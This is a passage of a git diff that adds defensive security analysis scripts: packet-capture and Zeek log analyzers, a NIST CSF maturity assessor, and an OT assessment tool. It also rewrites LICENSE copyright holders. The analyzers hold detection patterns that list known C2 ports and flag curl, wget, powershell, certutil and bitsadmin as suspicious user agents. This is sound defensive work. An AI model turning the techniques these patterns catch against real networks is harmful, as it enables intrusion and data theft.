12345, 6667, 6697 + +## Detection Categories +| Finding | Severity | Trigger | +|---------|----------|---------| +| PORT_SCAN | HIGH | >=20 SYN packets to same target | +| DNS_EXFILTRATION | HIGH | DNS queries >60 characters | +| SUSPICIOUS_PORTS | MEDIUM | Traffic on known C2 ports | + +## Dependencies +``` +pip install scapy +``` +System: tshark (optional, for HTTP and conversation analysis) diff --git a/skills/performing-network-packet-capture-analysis/scripts/agent.py b/skills/performing-network-packet-capture-analysis/scripts/agent.py new file mode 100644 index 00000000..55202b48 --- /dev/null +++ b/skills/performing-network-packet-capture-analysis/scripts/agent.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +"""Agent for performing network packet capture analysis with scapy and tshark.""" + +import json +import argparse +import subprocess +from datetime import datetime +from collections import Counter + +try: + from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, Raw + HAS_SCAPY = True +except ImportError: + HAS_SCAPY = False + + +def analyze_pcap_scapy(pcap_file): + """Analyze PCAP file using scapy for protocol statistics.""" + if not HAS_SCAPY: + return {"error": "scapy not installed — pip install scapy"} + packets = rdpcap(pcap_file) + total = len(packets) + protocols = Counter() + src_ips = Counter() + dst_ips = Counter() + src_ports = Counter() + dst_ports = Counter() + dns_queries = [] + for pkt in packets: + if IP in pkt: + src_ips[pkt[IP].src] += 1 + dst_ips[pkt[IP].dst] += 1 + if TCP in pkt: + protocols["TCP"] += 1 + src_ports[pkt[TCP].sport] += 1 + dst_ports[pkt[TCP].dport] += 1 + elif UDP in pkt: + protocols["UDP"] += 1 + if DNS in pkt and pkt.haslayer(DNSQR): + query = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".") + dns_queries.append(query) + else: + protocols[pkt[IP].proto] += 1 + return { + "pcap_file": pcap_file, "total_packets": total, + "protocols": dict(protocols), + "top_src_ips": dict(src_ips.most_common(10)), + "top_dst_ips": dict(dst_ips.most_common(10)), + "top_dst_ports": dict(dst_ports.most_common(15)), + "dns_queries": list(set(dns_queries))[:30], + "unique_dns_queries": len(set(dns_queries)), + } + + +def extract_http_requests(pcap_file): + """Extract HTTP requests from PCAP using tshark.""" + cmd = ["tshark", "-r", pcap_file, "-Y", "http.request", + "-T", "fields", "-e", "ip.src", "-e", "ip.dst", + "-e", "http.request.method", "-e", "http.host", + "-e", "http.request.uri", "-e", "http.user_agent"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + requests_list = [] + for line in result.stdout.strip().splitlines(): + parts = line.split("\t") + if len(parts) >= 4: + requests_list.append({ + "src": parts[0], "dst": parts[1], + "method": parts[2], "host": parts[3], + "uri": parts[4] if len(parts) > 4 else "", + "user_agent": parts[5][:200] if len(parts) > 5 else "", + }) + return {"pcap_file": pcap_file, "http_requests": len(requests_list), "requests": requests_list[:50]} + except FileNotFoundError: + return {"error": "tshark not found — install Wireshark"} + except Exception as e: + return {"error": str(e)} + + +def detect_suspicious_traffic(pcap_file): + """Detect suspicious network patterns in PCAP.""" + if not HAS_SCAPY: + return {"error": "scapy not installed"} + packets = rdpcap(pcap_file) + findings = [] + syn_counts = Counter() + large_dns = [] + unusual_ports = [] + high_ports = [4444, 5555, 6666, 8888, 9999, 1234, 31337, 12345, 6667, 6697] + for pkt in packets: + if IP not in pkt: + continue + if TCP in pkt: + if pkt[TCP].flags == 0x02: + syn_counts[pkt[IP].dst] += 1 + if pkt[TCP].dport in high_ports or pkt[TCP].sport in high_ports: + unusual_ports.append({"src": pkt[IP].src, "dst": pkt[IP].dst, + "port": pkt[TCP].dport, "sport": pkt[TCP].sport}) + if DNS in pkt and pkt.haslayer(DNSQR): + query = pkt[DNSQR].qname.decode("utf-8", errors="replace") + if len(query) > 60: + large_dns.append({"query": query[:100], "length": len(query), "src": pkt[IP].src}) + port_scan_suspects = [{"target": ip, "syn_count": count} for ip, count in syn_counts.most_common(5) if count >= 20] + if port_scan_suspects: + findings.append({"type": "PORT_SCAN", "severity": "HIGH", "details": port_scan_suspects}) + if large_dns: + findings.append({"type": "DNS_EXFILTRATION", "severity": "HIGH", "details": large_dns[:10]}) + if unusual_ports: + findings.append({"type": "SUSPICIOUS_PORTS", "severity": "MEDIUM", "details": unusual_ports[:10]}) + return { + "pcap_file": pcap_file, + "findings": findings, + "total_findings": len(findings), + "severity": "HIGH" if any(f["severity"] == "HIGH" for f in findings) else "MEDIUM" if findings else "LOW", + } + + +def conversation_analysis(pcap_file): + """Analyze TCP/UDP conversations using tshark.""" + cmd = ["tshark", "-r", pcap_file, "-q", "-z", "conv,tcp"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + return {"pcap_file": pcap_file, "tcp_conversations": result.stdout[:3000]} + except Exception as e: + return {"error": str(e)} + + +def main(): + parser = argparse.ArgumentParser(description="Network Packet Capture Analysis Agent") + sub = parser.add_subparsers(dest="command") + a = sub.add_parser("analyze", help="Protocol and IP statistics") + a.add_argument("--pcap", required=True) + h = sub.add_parser("http", help="Extract HTTP requests") + h.add_argument("--pcap", required=True) + s = sub.add_parser("suspicious", help="Detect suspicious traffic") + s.add_argument("--pcap", required=True) + c = sub.add_parser("conversations", help="TCP conversation analysis") + c.add_argument("--pcap", required=True) + args = parser.parse_args() + if args.command == "analyze": + result = analyze_pcap_scapy(args.pcap) + elif args.command == "http": + result = extract_http_requests(args.pcap) + elif args.command == "suspicious": + result = detect_suspicious_traffic(args.pcap) + elif args.command == "conversations": + result = conversation_analysis(args.pcap) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-network-traffic-analysis-with-zeek/LICENSE b/skills/performing-network-traffic-analysis-with-zeek/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-network-traffic-analysis-with-zeek/LICENSE +++ b/skills/performing-network-traffic-analysis-with-zeek/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-network-traffic-analysis-with-zeek/references/api-reference.md b/skills/performing-network-traffic-analysis-with-zeek/references/api-reference.md new file mode 100644 index 00000000..d614795a --- /dev/null +++ b/skills/performing-network-traffic-analysis-with-zeek/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference — Performing Network Traffic Analysis with Zeek + +## Libraries Used +- **pathlib**: Read Zeek TSV log files +- **subprocess**: Execute Zeek on PCAP files +- **collections.Counter**: Traffic pattern aggregation + +## CLI Interface +``` +python agent.py conn --log conn.log +python agent.py dns --log dns.log +python agent.py http --log http.log +python agent.py notice --log notice.log +python agent.py run --pcap capture.pcap [--output-dir /tmp/zeek_output] +``` + +## Core Functions + +### `parse_zeek_log(log_file)` — Generic Zeek TSV parser +Parses `#fields` header and data rows. Returns headers and record list. + +### `analyze_conn_log(conn_log)` — Connection analysis +Statistics: protocols, services, top IPs/ports, total bytes, long connections (>1hr). + +### `analyze_dns_log(dns_log)` — DNS query analysis +Detects: long queries (>50 chars), TXT queries, NXDOMAIN responses. +Flags potential DNS tunneling indicators. + +### `analyze_http_log(http_log)` — Web traffic analysis +Tracks: methods, status codes, top hosts, user agents. +Flags suspicious UAs: curl, wget, python, powershell, certutil, bitsadmin. + +### `analyze_notice_log(notice_log)` — Security alert review +Parses Zeek notice.log for detected security events. + +### `run_zeek_on_pcap(pcap_file, output_dir)` — Generate Zeek logs from PCAP +Executes Zeek against PCAP to produce conn.log, dns.log, http.log, etc. + +## Zeek Log Fields +| Log | Key Fields | +|-----|-----------| +| conn.log | id.orig_h, id.resp_h, id.resp_p, proto, service, duration, orig_bytes | +| dns.log | query, qtype_name, rcode_name | +| http.log | method, host, uri, status_code, user_agent | +| notice.log | note, msg, src, dst | + +## Dependencies +System: zeek (for PCAP processing) +No Python packages required. diff --git a/skills/performing-network-traffic-analysis-with-zeek/scripts/agent.py b/skills/performing-network-traffic-analysis-with-zeek/scripts/agent.py new file mode 100644 index 00000000..f5852d3b --- /dev/null +++ b/skills/performing-network-traffic-analysis-with-zeek/scripts/agent.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python3 +"""Agent for performing network traffic analysis with Zeek (Bro) log files.""" + +import json +import argparse +import subprocess +import csv +from datetime import datetime +from pathlib import Path +from collections import Counter + + +def parse_zeek_log(log_file, delimiter="\t"): + """Parse a Zeek TSV log file into structured records.""" + lines = Path(log_file).read_text(encoding="utf-8", errors="replace").splitlines() + headers = [] + records = [] + for line in lines: + if line.startswith("#fields"): + headers = line.split(delimiter)[1:] + elif line.startswith("#"): + continue + elif headers: + values = line.split(delimiter) + record = dict(zip(headers, values)) + records.append(record) + return headers, records + + +def analyze_conn_log(conn_log): + """Analyze Zeek conn.log for network connection patterns.""" + headers, records = parse_zeek_log(conn_log) + total = len(records) + protocols = Counter(r.get("proto", "") for r in records) + services = Counter(r.get("service", "-") for r in records) + src_ips = Counter(r.get("id.orig_h", "") for r in records) + dst_ips = Counter(r.get("id.resp_h", "") for r in records) + dst_ports = Counter(r.get("id.resp_p", "") for r in records) + total_bytes = sum(int(r.get("orig_bytes", 0) or 0) + int(r.get("resp_bytes", 0) or 0) for r in records) + long_connections = [r for r in records if float(r.get("duration", 0) or 0) > 3600] + return { + "log_file": conn_log, "total_connections": total, + "protocols": dict(protocols), "services": dict(services.most_common(10)), + "top_src_ips": dict(src_ips.most_common(10)), + "top_dst_ips": dict(dst_ips.most_common(10)), + "top_dst_ports": dict(dst_ports.most_common(15)), + "total_bytes": total_bytes, + "long_connections": len(long_connections), + } + + +def analyze_dns_log(dns_log): + """Analyze Zeek dns.log for DNS query patterns and anomalies.""" + headers, records = parse_zeek_log(dns_log) + queries = Counter(r.get("query", "") for r in records) + qtypes = Counter(r.get("qtype_name", r.get("qtype", "")) for r in records) + rcodes = Counter(r.get("rcode_name", r.get("rcode", "")) for r in records) + long_queries = [r for r in records if len(r.get("query", "")) > 50] + txt_queries = [r for r in records if r.get("qtype_name", "") == "TXT"] + nxdomain = [r for r in records if r.get("rcode_name", "") == "NXDOMAIN"] + top_domains = Counter() + for r in records: + query = r.get("query", "") + parts = query.rsplit(".", 2) + if len(parts) >= 2: + top_domains[".".join(parts[-2:])] += 1 + return { + "log_file": dns_log, "total_queries": len(records), + "query_types": dict(qtypes), + "response_codes": dict(rcodes), + "top_queried_domains": dict(top_domains.most_common(15)), + "long_queries": len(long_queries), + "txt_queries": len(txt_queries), + "nxdomain_count": len(nxdomain), + "potential_tunneling": len(long_queries) + len(txt_queries), + } + + +def analyze_http_log(http_log): + """Analyze Zeek http.log for web traffic patterns.""" + headers, records = parse_zeek_log(http_log) + methods = Counter(r.get("method", "") for r in records) + status_codes = Counter(r.get("status_code", "") for r in records) + hosts = Counter(r.get("host", "") for r in records) + user_agents = Counter(r.get("user_agent", "")[:100] for r in records) + suspicious_ua = [r for r in records if any(kw in r.get("user_agent", "").lower() + for kw in ["curl", "wget", "python", "powershell", "certutil", "bitsadmin"])] + return { + "log_file": http_log, "total_requests": len(records), + "methods": dict(methods), "status_codes": dict(status_codes), + "top_hosts": dict(hosts.most_common(15)), + "top_user_agents": dict(user_agents.most_common(10)), + "suspicious_user_agents": len(suspicious_ua), + "suspicious_requests": [{"host": r.get("host"), "uri": r.get("uri", "")[:100], + "ua": r.get("user_agent", "")[:100]} for r in suspicious_ua[:10]], + } + + +def analyze_notice_log(notice_log): + """Analyze Zeek notice.log for security alerts.""" + headers, records = parse_zeek_log(notice_log) + notice_types = Counter(r.get("note", r.get("msg", "")) for r in records) + return { + "log_file": notice_log, "total_notices": len(records), + "notice_types": dict(notice_types), + "notices": [{"note": r.get("note"), "msg": r.get("msg", "")[:200], + "src": r.get("src", r.get("id.orig_h", "")), + "dst": r.get("dst", r.get("id.resp_h", ""))} for r in records[:20]], + } + + +def run_zeek_on_pcap(pcap_file, output_dir="/tmp/zeek_output"): + """Run Zeek on a PCAP file to generate logs.""" + Path(output_dir).mkdir(parents=True, exist_ok=True) + cmd = ["zeek", "-r", pcap_file, f"Log::default_logdir={output_dir}"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300, cwd=output_dir) + logs = list(Path(output_dir).glob("*.log")) + return { + "pcap_file": pcap_file, "output_dir": output_dir, + "logs_generated": [l.name for l in logs], + "success": result.returncode == 0, + "stderr": result.stderr[:300] if result.stderr else "", + } + except FileNotFoundError: + return {"error": "zeek not found in PATH"} + except Exception as e: + return {"error": str(e)} + + +def main(): + parser = argparse.ArgumentParser(description="Zeek Network Traffic Analysis Agent") + sub = parser.add_subparsers(dest="command") + c = sub.add_parser("conn", help="Analyze conn.log") + c.add_argument("--log", required=True) + d = sub.add_parser("dns", help="Analyze dns.log") + d.add_argument("--log", required=True) + h = sub.add_parser("http", help="Analyze http.log") + h.add_argument("--log", required=True) + n = sub.add_parser("notice", help="Analyze notice.log") + n.add_argument("--log", required=True) + r = sub.add_parser("run", help="Run Zeek on PCAP") + r.add_argument("--pcap", required=True) + r.add_argument("--output-dir", default="/tmp/zeek_output") + args = parser.parse_args() + if args.command == "conn": + result = analyze_conn_log(args.log) + elif args.command == "dns": + result = analyze_dns_log(args.log) + elif args.command == "http": + result = analyze_http_log(args.log) + elif args.command == "notice": + result = analyze_notice_log(args.log) + elif args.command == "run": + result = run_zeek_on_pcap(args.pcap, args.output_dir) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-nist-csf-maturity-assessment/LICENSE b/skills/performing-nist-csf-maturity-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-nist-csf-maturity-assessment/LICENSE +++ b/skills/performing-nist-csf-maturity-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-nist-csf-maturity-assessment/references/api-reference.md b/skills/performing-nist-csf-maturity-assessment/references/api-reference.md new file mode 100644 index 00000000..8741a7d8 --- /dev/null +++ b/skills/performing-nist-csf-maturity-assessment/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference — Performing NIST CSF Maturity Assessment + +## Libraries Used +- **csv**: Parse and generate assessment CSV files +- **pathlib**: File operations + +## CLI Interface +``` +python agent.py assess --csv assessment_responses.csv +python agent.py gaps --csv assessment_responses.csv +python agent.py template [--output template.csv] +python agent.py executive --csv assessment_responses.csv +``` + +## Core Functions + +### `assess_from_csv(assessment_file)` — Calculate maturity scores +Scores each NIST CSF function (Identify, Protect, Detect, Respond, Recover). +Calculates overall maturity level (1-4 scale) and gap-to-target. + +### `generate_gap_analysis(assessment_file)` — Prioritized gap report +Classifies gaps: HIGH (>=2 gap), MEDIUM (>=1), LOW (<1). + +### `create_assessment_template(output_file)` — Generate blank assessment CSV +Produces CSV with all 23 CSF categories, score/target/evidence columns. + +### `generate_executive_summary(assessment_file)` — Board-level report + +## NIST CSF Functions & Categories (23 total) +| Function | Categories | +|----------|-----------| +| IDENTIFY | ID.AM, ID.BE, ID.GV, ID.RA, ID.RM, ID.SC | +| PROTECT | PR.AC, PR.AT, PR.DS, PR.IP, PR.MA, PR.PT | +| DETECT | DE.AE, DE.CM, DE.DP | +| RESPOND | RS.RP, RS.CO, RS.AN, RS.MI, RS.IM | +| RECOVER | RC.RP, RC.IM, RC.CO | + +## Maturity Levels +| Level | Name | Description | +|-------|------|-------------| +| 1 | Partial | Not formalized | +| 2 | Risk Informed | Approved but not org-wide | +| 3 | Repeatable | Formally expressed as policy | +| 4 | Adaptive | Continuous improvement | + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-nist-csf-maturity-assessment/scripts/agent.py b/skills/performing-nist-csf-maturity-assessment/scripts/agent.py new file mode 100644 index 00000000..fee1198c --- /dev/null +++ b/skills/performing-nist-csf-maturity-assessment/scripts/agent.py @@ -0,0 +1,189 @@ +#!/usr/bin/env python3 +"""Agent for performing NIST Cybersecurity Framework (CSF) maturity assessment.""" + +import json +import argparse +import csv +from datetime import datetime +from pathlib import Path + + +NIST_CSF_FUNCTIONS = { + "IDENTIFY": { + "categories": ["ID.AM", "ID.BE", "ID.GV", "ID.RA", "ID.RM", "ID.SC"], + "descriptions": { + "ID.AM": "Asset Management", + "ID.BE": "Business Environment", + "ID.GV": "Governance", + "ID.RA": "Risk Assessment", + "ID.RM": "Risk Management Strategy", + "ID.SC": "Supply Chain Risk Management", + }, + }, + "PROTECT": { + "categories": ["PR.AC", "PR.AT", "PR.DS", "PR.IP", "PR.MA", "PR.PT"], + "descriptions": { + "PR.AC": "Identity Management & Access Control", + "PR.AT": "Awareness and Training", + "PR.DS": "Data Security", + "PR.IP": "Information Protection Processes", + "PR.MA": "Maintenance", + "PR.PT": "Protective Technology", + }, + }, + "DETECT": { + "categories": ["DE.AE", "DE.CM", "DE.DP"], + "descriptions": { + "DE.AE": "Anomalies and Events", + "DE.CM": "Security Continuous Monitoring", + "DE.DP": "Detection Processes", + }, + }, + "RESPOND": { + "categories": ["RS.RP", "RS.CO", "RS.AN", "RS.MI", "RS.IM"], + "descriptions": { + "RS.RP": "Response Planning", + "RS.CO": "Communications", + "RS.AN": "Analysis", + "RS.MI": "Mitigation", + "RS.IM": "Improvements", + }, + }, + "RECOVER": { + "categories": ["RC.RP", "RC.IM", "RC.CO"], + "descriptions": { + "RC.RP": "Recovery Planning", + "RC.IM": "Improvements", + "RC.CO": "Communications", + }, + }, +} + +MATURITY_LEVELS = { + 1: "Partial — Risk management practices not formalized", + 2: "Risk Informed — Risk management approved but not org-wide", + 3: "Repeatable — Policies and practices formally approved and expressed as policy", + 4: "Adaptive — Organization adapts based on lessons learned and predictive indicators", +} + + +def assess_from_csv(assessment_file): + """Load assessment responses from CSV and calculate maturity scores.""" + with open(assessment_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rows = list(reader) + scores = {} + for row in rows: + category = row.get("category", row.get("Category", row.get("subcategory", ""))) + score = int(row.get("score", row.get("maturity_level", row.get("Score", 0)))) + target = int(row.get("target", row.get("Target", 3))) + function_name = "" + for fn, data in NIST_CSF_FUNCTIONS.items(): + if any(category.startswith(c) for c in data["categories"]): + function_name = fn + break + scores.setdefault(function_name or "UNKNOWN", []).append({ + "category": category, "score": score, "target": target, "gap": target - score, + }) + function_scores = {} + for fn, items in scores.items(): + avg = sum(i["score"] for i in items) / len(items) if items else 0 + avg_target = sum(i["target"] for i in items) / len(items) if items else 0 + function_scores[fn] = { + "average_maturity": round(avg, 1), + "target_maturity": round(avg_target, 1), + "gap": round(avg_target - avg, 1), + "categories_assessed": len(items), + "below_target": sum(1 for i in items if i["gap"] > 0), + } + overall = sum(fs["average_maturity"] for fs in function_scores.values()) / max(len(function_scores), 1) + return { + "assessment_file": assessment_file, + "overall_maturity": round(overall, 1), + "overall_level": MATURITY_LEVELS.get(round(overall), "Unknown"), + "function_scores": function_scores, + "total_categories": sum(fs["categories_assessed"] for fs in function_scores.values()), + "categories_below_target": sum(fs["below_target"] for fs in function_scores.values()), + } + + +def generate_gap_analysis(assessment_file): + """Generate detailed gap analysis with prioritized recommendations.""" + assessment = assess_from_csv(assessment_file) + gaps = [] + for fn, data in assessment["function_scores"].items(): + if data["gap"] > 0: + gaps.append({ + "function": fn, "current": data["average_maturity"], + "target": data["target_maturity"], "gap": data["gap"], + "priority": "HIGH" if data["gap"] >= 2 else "MEDIUM" if data["gap"] >= 1 else "LOW", + }) + gaps.sort(key=lambda x: x["gap"], reverse=True) + return { + "generated": datetime.utcnow().isoformat(), + "overall_maturity": assessment["overall_maturity"], + "gaps": gaps, + "high_priority_gaps": [g for g in gaps if g["priority"] == "HIGH"], + } + + +def create_assessment_template(output_file=None): + """Create a blank NIST CSF assessment CSV template.""" + rows = [["category", "description", "score", "target", "evidence", "notes"]] + for fn, data in NIST_CSF_FUNCTIONS.items(): + for cat in data["categories"]: + rows.append([cat, data["descriptions"].get(cat, ""), "", "3", "", ""]) + if output_file: + with open(output_file, "w", newline="", encoding="utf-8") as f: + writer = csv.writer(f) + writer.writerows(rows) + return {"template_rows": len(rows) - 1, "functions": list(NIST_CSF_FUNCTIONS.keys()), + "output": output_file, "categories": [r[0] for r in rows[1:]]} + + +def generate_executive_summary(assessment_file): + """Generate executive-level maturity summary.""" + assessment = assess_from_csv(assessment_file) + gap = generate_gap_analysis(assessment_file) + return { + "generated": datetime.utcnow().isoformat(), + "framework": "NIST CSF 2.0", + "overall_maturity_score": assessment["overall_maturity"], + "maturity_level": assessment["overall_level"], + "total_categories_assessed": assessment["total_categories"], + "categories_meeting_target": assessment["total_categories"] - assessment["categories_below_target"], + "categories_below_target": assessment["categories_below_target"], + "function_summary": {fn: {"score": d["average_maturity"], "target": d["target_maturity"]} + for fn, d in assessment["function_scores"].items()}, + "top_gaps": gap["high_priority_gaps"][:5], + } + + +def main(): + parser = argparse.ArgumentParser(description="NIST CSF Maturity Assessment Agent") + sub = parser.add_subparsers(dest="command") + a = sub.add_parser("assess", help="Run maturity assessment from CSV") + a.add_argument("--csv", required=True) + g = sub.add_parser("gaps", help="Generate gap analysis") + g.add_argument("--csv", required=True) + t = sub.add_parser("template", help="Create assessment template") + t.add_argument("--output", help="Output CSV file path") + e = sub.add_parser("executive", help="Executive summary") + e.add_argument("--csv", required=True) + args = parser.parse_args() + if args.command == "assess": + result = assess_from_csv(args.csv) + elif args.command == "gaps": + result = generate_gap_analysis(args.csv) + elif args.command == "template": + result = create_assessment_template(args.output) + elif args.command == "executive": + result = generate_executive_summary(args.csv) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-oauth-scope-minimization-review/LICENSE b/skills/performing-oauth-scope-minimization-review/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-oauth-scope-minimization-review/LICENSE +++ b/skills/performing-oauth-scope-minimization-review/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-oil-gas-cybersecurity-assessment/LICENSE b/skills/performing-oil-gas-cybersecurity-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-oil-gas-cybersecurity-assessment/LICENSE +++ b/skills/performing-oil-gas-cybersecurity-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-oil-gas-cybersecurity-assessment/references/api-reference.md b/skills/performing-oil-gas-cybersecurity-assessment/references/api-reference.md new file mode 100644 index 00000000..c498cf29 --- /dev/null +++ b/skills/performing-oil-gas-cybersecurity-assessment/references/api-reference.md @@ -0,0 +1,45 @@ +# API Reference — Performing Oil & Gas Cybersecurity Assessment + +## Libraries Used +- **csv**: Parse asset inventories and compliance questionnaires +- **pathlib**: File operations + +## CLI Interface +``` +python agent.py network --assets ot_inventory.csv +python agent.py compliance --csv iec62443_assessment.csv +python agent.py safety --assets ot_inventory.csv +python agent.py report --assets ot_inventory.csv [--compliance-csv iec62443.csv] +``` + +## Core Functions + +### `assess_network_segmentation(asset_file)` — Purdue model zone validation +Checks assets against expected Purdue level placement. Flags zone mismatches and missing DMZ. + +### `assess_iec62443_compliance(assessment_csv)` — IEC 62443 security level assessment +Compares achieved vs target Security Levels (SL1-SL4) per zone. + +### `assess_safety_systems(asset_file)` — SIS/ESD security posture +Flags CRITICAL: SIS network-connected, remote access enabled, shared controller with process. + +### `generate_assessment_report(...)` — Comprehensive sector assessment + +## OT Asset Categories +| Type | Criticality | Purdue Level | +|------|------------|-------------| +| SCADA | CRITICAL | Level 2 | +| DCS | CRITICAL | Level 1-2 | +| SIS | CRITICAL | Level 0-1 | +| PLC/RTU | HIGH | Level 1 | +| HMI | HIGH | Level 2 | +| Historian | MEDIUM | Level 3 | + +## Frameworks Referenced +- IEC 62443 (Industrial Automation Security) +- NIST CSF (Cybersecurity Framework) +- API 1164 (Pipeline SCADA Security) +- IEC 61511 (Safety Instrumented Systems) + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-oil-gas-cybersecurity-assessment/scripts/agent.py b/skills/performing-oil-gas-cybersecurity-assessment/scripts/agent.py new file mode 100644 index 00000000..ae6e4c20 --- /dev/null +++ b/skills/performing-oil-gas-cybersecurity-assessment/scripts/agent.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +"""Agent for performing oil & gas sector cybersecurity assessment based on IEC 62443 and NIST frameworks.""" + +import json +import argparse +import csv +from datetime import datetime +from pathlib import Path + + +IEC62443_SECURITY_LEVELS = { + "SL1": "Protection against casual or coincidental violation", + "SL2": "Protection against intentional violation using simple means", + "SL3": "Protection against sophisticated attacks with moderate resources", + "SL4": "Protection against state-sponsored attacks with extensive resources", +} + +OT_ASSET_CATEGORIES = { + "SCADA": {"criticality": "CRITICAL", "zone": "Level 2", "purdue": 2}, + "DCS": {"criticality": "CRITICAL", "zone": "Level 1-2", "purdue": 2}, + "PLC": {"criticality": "HIGH", "zone": "Level 1", "purdue": 1}, + "RTU": {"criticality": "HIGH", "zone": "Level 1", "purdue": 1}, + "HMI": {"criticality": "HIGH", "zone": "Level 2", "purdue": 2}, + "EWS": {"criticality": "MEDIUM", "zone": "Level 2", "purdue": 2}, + "Historian": {"criticality": "MEDIUM", "zone": "Level 3", "purdue": 3}, + "SIS": {"criticality": "CRITICAL", "zone": "Level 0-1", "purdue": 1}, + "Firewall_OT": {"criticality": "HIGH", "zone": "DMZ", "purdue": 3.5}, +} + + +def assess_network_segmentation(asset_file): + """Assess OT/IT network segmentation based on asset inventory.""" + with open(asset_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + assets = list(reader) + zones = {} + findings = [] + for asset in assets: + zone = asset.get("zone", asset.get("network_zone", "unknown")) + atype = asset.get("type", asset.get("asset_type", "unknown")) + zones.setdefault(zone, []).append(asset) + expected = OT_ASSET_CATEGORIES.get(atype, {}) + if expected and expected.get("zone") and zone != expected["zone"]: + findings.append({ + "asset": asset.get("name", asset.get("hostname", "")), + "type": atype, "current_zone": zone, + "expected_zone": expected["zone"], + "issue": "ZONE_MISMATCH", + }) + dmz_exists = any("dmz" in z.lower() for z in zones.keys()) + if not dmz_exists: + findings.append({"issue": "NO_DMZ", "severity": "CRITICAL", "recommendation": "Implement IT/OT DMZ"}) + return { + "total_assets": len(assets), + "zones": {z: len(a) for z, a in zones.items()}, + "zone_mismatches": len([f for f in findings if f.get("issue") == "ZONE_MISMATCH"]), + "dmz_present": dmz_exists, + "findings": findings[:20], + } + + +def assess_iec62443_compliance(assessment_csv): + """Assess IEC 62443 compliance from questionnaire responses.""" + with open(assessment_csv, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rows = list(reader) + requirements = {} + for row in rows: + req_id = row.get("requirement", row.get("control", "")) + sl_achieved = int(row.get("sl_achieved", row.get("score", 0))) + sl_target = int(row.get("sl_target", row.get("target", 2))) + zone = row.get("zone", row.get("scope", "")) + requirements.setdefault(zone, []).append({ + "requirement": req_id, "achieved": sl_achieved, + "target": sl_target, "gap": sl_target - sl_achieved, + "compliant": sl_achieved >= sl_target, + }) + zone_scores = {} + for zone, reqs in requirements.items(): + compliant = sum(1 for r in reqs if r["compliant"]) + zone_scores[zone] = { + "total_requirements": len(reqs), "compliant": compliant, + "non_compliant": len(reqs) - compliant, + "compliance_pct": round(compliant / len(reqs) * 100, 1), + } + return { + "framework": "IEC 62443", + "zone_compliance": zone_scores, + "overall_compliance": round(sum(z["compliance_pct"] for z in zone_scores.values()) / max(len(zone_scores), 1), 1), + "critical_gaps": [r for reqs in requirements.values() for r in reqs if r["gap"] >= 2], + } + + +def assess_safety_systems(asset_file): + """Assess Safety Instrumented System (SIS) security posture.""" + with open(asset_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + assets = list(reader) + sis_assets = [a for a in assets if a.get("type", "").upper() in ("SIS", "ESD", "F&G", "HIPPS")] + findings = [] + for asset in sis_assets: + if asset.get("network_connected", "").lower() in ("yes", "true", "1"): + findings.append({"asset": asset.get("name"), "issue": "SIS_NETWORK_CONNECTED", "severity": "CRITICAL"}) + if asset.get("remote_access", "").lower() in ("yes", "true", "1"): + findings.append({"asset": asset.get("name"), "issue": "SIS_REMOTE_ACCESS", "severity": "CRITICAL"}) + if asset.get("shared_controller", "").lower() in ("yes", "true", "1"): + findings.append({"asset": asset.get("name"), "issue": "SIS_SHARED_CONTROLLER", "severity": "HIGH"}) + return { + "total_sis_assets": len(sis_assets), + "findings": findings, + "sis_isolated": len(sis_assets) - len(set(f["asset"] for f in findings)), + "recommendation": "SIS must be air-gapped from process control and IT networks per IEC 61511", + } + + +def generate_assessment_report(asset_file, assessment_csv=None): + """Generate comprehensive oil & gas cybersecurity assessment report.""" + report = { + "generated": datetime.utcnow().isoformat(), + "framework": "IEC 62443 / NIST CSF / API 1164", + "network_segmentation": assess_network_segmentation(asset_file), + "safety_systems": assess_safety_systems(asset_file), + } + if assessment_csv: + report["iec62443_compliance"] = assess_iec62443_compliance(assessment_csv) + return report + + +def main(): + parser = argparse.ArgumentParser(description="Oil & Gas Cybersecurity Assessment Agent") + sub = parser.add_subparsers(dest="command") + n = sub.add_parser("network", help="Assess network segmentation") + n.add_argument("--assets", required=True, help="Asset inventory CSV") + c = sub.add_parser("compliance", 